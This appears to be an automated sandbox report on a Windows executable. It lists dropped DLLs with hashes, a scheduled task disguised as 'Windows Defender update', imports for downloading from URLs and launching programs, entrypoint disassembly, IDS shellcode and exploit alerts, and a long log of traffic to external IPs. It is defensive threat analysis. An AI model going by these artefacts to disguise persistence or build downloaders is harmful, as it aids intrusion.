SSDEEP:	12288:5mtyWf0sTWRzbpT/tD5YpsGx30h7whUgiW6QR7t5s03Ooc8dHkC2es98R:A0HsTWRzbp5D5YpsM3A7v03Ooc8dHkCh
MD5:	C766CA0482DFE588576074B9ED467E38
SHA1:	5AC975CCCE81399218AB0DD27A3EFFC5B702005E
SHA-256:	85AA8C8AB4CBF1FF9AE5C7BDE1BF6DA2E18A570E36E2D870B88536B8658C5BA8
SHA-512:	EE36BC949D627B06F11725117D568F9CF1A4D345A939D9B4C46040E96C84159FA741637EF3D73ED2D01DF988DE59A573C3574308731402EB52BAE2329D7BDDAC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.$...w...w...w.\.v...w.V@w...w..v...w...w...w..v...w..v...w..vD..w..v...w.,w...w..v...wRich...w........................PE..L....4.w.........."!...&.....z...............0.......................................=....@A.........................S......8c..........................xO.......4...U..T...........................8U..@............`..0............................text...b........................... ..`.data....&...0......................@....idata..0....`.......0..............@..@.rsrc................H..............@..@.reloc...4.......6...L..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcr120[1].dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\x32bridge[1].dll

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	576496
Entropy (8bit):	5.894138416830209
Encrypted:	false
SSDEEP:	12288:vTx5KRZ18xtSP+szdcIugOO50MMEMOkPM2:kmxtSP+sJ+O5FWPPt
MD5:	A397EDEDAA5AEEE4632E3A0F531B6417
SHA1:	D78A158E101A829C2A9555A870005AE1C4CDC344
SHA-256:	1711F262ADF7D6B3A3D0451F6F78D801E9AF76D0F61BA2C66C29D3EFF6A23C4C
SHA-512:	95FC81C0816BE8F5E2B3269E0C86E52F200E737989B89020F116E671DDC8B66801669FFB91927CABFCCE22D4DB8844C67903E6B371E539CD45593B2582171859
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=...n...n...n..jn...nh..o...nh..o...nh..o...nh..o...n...o...n...n..nE..o...nE..o...nE..n...n..nn...nE..o...nRich...n........PE..L...f..e...........!...'.,.........../.......@............................................@..........................O..`...pO.......p...U......................P...HD..p............................C..@............@...............................text....+.......,.................. ..`.rdata.......@... ...0..............@..@.data........`.......P..............@....rsrc....U...p...V...T..............@..@.reloc..P...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41u3ywjz.k0p.psm1

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gaerayrz.tqi.psm1

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icoubrny.mln.ps1

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zson3kdi.jrt.ps1

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	2.101634569167523
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFVKJA7VQr4AXKr/rZ:JUX0qIGICLb8A7Vk4TjF
MD5:	1F209D8E44FCE25D532067A0A3C087E3
SHA1:	F1D540DB62437BDA2A58433C041B4F1E6F81C593
SHA-256:	ADD07D62073811FCE51F31ED064E91C2582BD260801BD9FCD49D70AE732E2338
SHA-512:	D349DCF20BB62924EC3B5E112FEA7E883B5988BD6A0F996857FFD4DFD029DF89CCCE133BF3FF723E5484484E4A6EAFDEE2DF4AB3EB1EF27375763A88E57ECA2B
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Windows Defender update Ready ..........ok..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.804081986197376
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LisectAVT_2403002B_295.exe
File size:	286'124 bytes
MD5:	8618fb139983d302aea7a6dada6c9dc0
SHA1:	0b4b03da2e9761557dce72d9b34f58b3cc600067
SHA256:	5548162aa526a395d43c509c8db71f88da11ca13921337c5f166f62ddccf4051
SHA512:	fc15a654cc2957696d05163c074567161f385231541839942ab6180bc47d358a152486b96e40ae5a41786617b1f487be795e7a79fff62150bcc3a14d7917ffa4
SSDEEP:	6144:/j/LCrmjS17yf7idXkSuMplAOZRpookTqBy6:r/LpjS1Z9pl5tBy6
TLSH:	22549E00B9918433DDB3197249F89B79AA3CBD61075598E773D80A7E8F353D1EA3122A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................t.......t.o.............t.......Rich...........

File Icon


Icon Hash:	5fb3ccd4d4f0b34d

Static PE Info

General

Entrypoint:	0x409f5a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65F78D0A [Mon Mar 18 00:38:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1129ed3e7ca0eee59b4d31ab792ce61c

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
call 00007F73A46B9BCAh
jmp 00007F73A46B95E9h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F73A46B978Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F73A46B977Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F73A46B977Eh
add edx, 28h
cmp edx, esi
jne 00007F73A46B975Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F73A46B976Bh
push esi
call 00007F73A46BA07Dh
test eax, eax
je 00007F73A46B9792h
mov eax, dword ptr fs:[00000018h]
mov esi, 00438230h
mov edx, dword ptr [eax+04h]
jmp 00007F73A46B9776h
cmp edx, eax
je 00007F73A46B9782h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F73A46B9762h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F73A46B9779h
mov byte ptr [00438234h], 00000001h
call 00007F73A46B9E6Bh
call 00007F73A46BC08Fh
test al, al
jne 00007F73A46B9776h
xor al, al
pop ebp
ret
call 00007F73A46C4BE6h
test al, al
jne 00007F73A46B977Ch
push 00000000h
call 00007F73A46BC096h
pop ecx
jmp 00007F73A46B975Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00438235h], 00000000h
je 00007F73A46B9776h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35d90	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x39000	0x9c38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x42000	0x3d60
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x43000	0x1d38	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x33988	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x339c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x267b8	0x26800	a97ef98973f9342f4db33bbd33b15213	False	0.5535650872564936	data	6.55627084772439	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0xe65c	0xe800	30cc47a5c82168917342e2a1acadd4d6	False	0.5089911099137931	data	5.530572503131226	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x1d6c	0x1000	2f8b31a80610d16b5baedfce4072667f	False	0.195068359375	DOS executable (block device driver)	3.1613628408255594	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x39000	0x9c38	0x9e00	5510c65ceed90430545f75fa0209d418	False	0.5882861946202531	data	7.092270287421362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x43000	0x1d38	0x1e00	26de4177813509b7acb5813ceebfcdbc	False	0.735546875	data	6.459471218381337	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x395f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.4189189189189189
RT_ICON	0x39718	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Chinese	China	0.5699458483754513
RT_ICON	0x39fc0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.6437861271676301
RT_ICON	0x3a528	0x40cd	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9864367954668757
RT_ICON	0x3e5f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.22935684647302904
RT_ICON	0x40ba0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.3269230769230769
RT_ICON	0x41c48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Chinese	China	0.41598360655737704
RT_ICON	0x425d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.5576241134751773
RT_GROUP_ICON	0x42a38	0x76	data	Chinese	China	0.711864406779661
RT_VERSION	0x39280	0x36c	data	Chinese	China	0.4292237442922374
RT_MANIFEST	0x42ab0	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	SetPriorityClass, VirtualFree, GetCurrentProcess, VirtualAlloc, SetThreadPriority, Sleep, GetCurrentThread, GetSystemInfo, ExitProcess, GlobalMemoryStatusEx, GetConsoleWindow, CreateDirectoryA, WriteConsoleW, HeapSize, CreateFileW, GetProcessHeap, SetStdHandle, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, IsValidCodePage, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetStringTypeW, GetCPInfo, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, TerminateProcess, RtlUnwind, RaiseException, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetCommandLineA, GetCommandLineW, GetStdHandle, WriteFile, GetModuleFileNameW, GetModuleHandleExW, GetFileSizeEx, SetFilePointerEx, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, CloseHandle, HeapAlloc, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, SetEndOfFile
USER32.dll	ShowWindow
SHELL32.dll	SHChangeNotify, ShellExecuteA
WININET.dll	InternetCloseHandle, InternetOpenA, InternetReadFile, InternetOpenUrlA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T15:13:48.012774+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49709	52.165.165.26	192.168.2.8
2024-07-25T15:13:41.926185+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49706	43.152.64.207	192.168.2.8
2024-07-25T15:14:26.386886+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49718	52.165.165.26	192.168.2.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 15:13:32.869404078 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:32.869431973 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:32.869544029 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:32.905675888 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:32.905693054 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:34.269067049 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:34.269196987 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:34.270205975 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:34.270256996 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:34.332423925 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:34.332453966 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:34.332778931 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:34.332828999 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:34.336561918 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:34.384502888 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.076174021 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.076196909 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.076239109 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.076324940 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.076334953 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.076400995 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.085896969 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.086035013 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.086044073 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.086090088 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.086805105 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.086884975 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.086891890 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.086931944 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.096338034 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.096477032 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.096489906 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.096533060 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.098470926 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098491907 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098558903 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.098565102 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098606110 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098615885 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.098622084 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098659992 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.098683119 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.098691940 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.098731041 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.099026918 CEST	49704	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.099035978 CEST	443	49704	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.145678997 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.145720959 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:35.145840883 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.150043964 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:35.150055885 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.054054976 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.054228067 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.055411100 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.055417061 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.055672884 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.055676937 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.530477047 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.530559063 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.530580997 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.530606031 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.530626059 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.530658007 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.533682108 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.533793926 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.533819914 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.533860922 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.601130009 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.601299047 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.601314068 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.601355076 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.604490995 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.604604959 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.604610920 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.604650974 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.608711958 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.608732939 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.608798981 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.608805895 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.608921051 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.616125107 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.616255999 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.616261959 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.616318941 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.696665049 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.696722984 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.696769953 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.697036982 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.700377941 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.700417042 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.700476885 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.705634117 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.705842018 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.705857992 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.705910921 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.711121082 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.711146116 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.711343050 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.711359024 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.711409092 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.788567066 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.788595915 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.788678885 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.788688898 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.788713932 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.788732052 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.794580936 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.794606924 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.794652939 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.794657946 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.794683933 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.794701099 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.804946899 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.804996014 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.805049896 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.805056095 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.805099964 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.810678959 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.810765028 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.810771942 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.810811043 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.813956976 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.814038992 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.814047098 CEST	443	49705	43.152.64.207	192.168.2.8
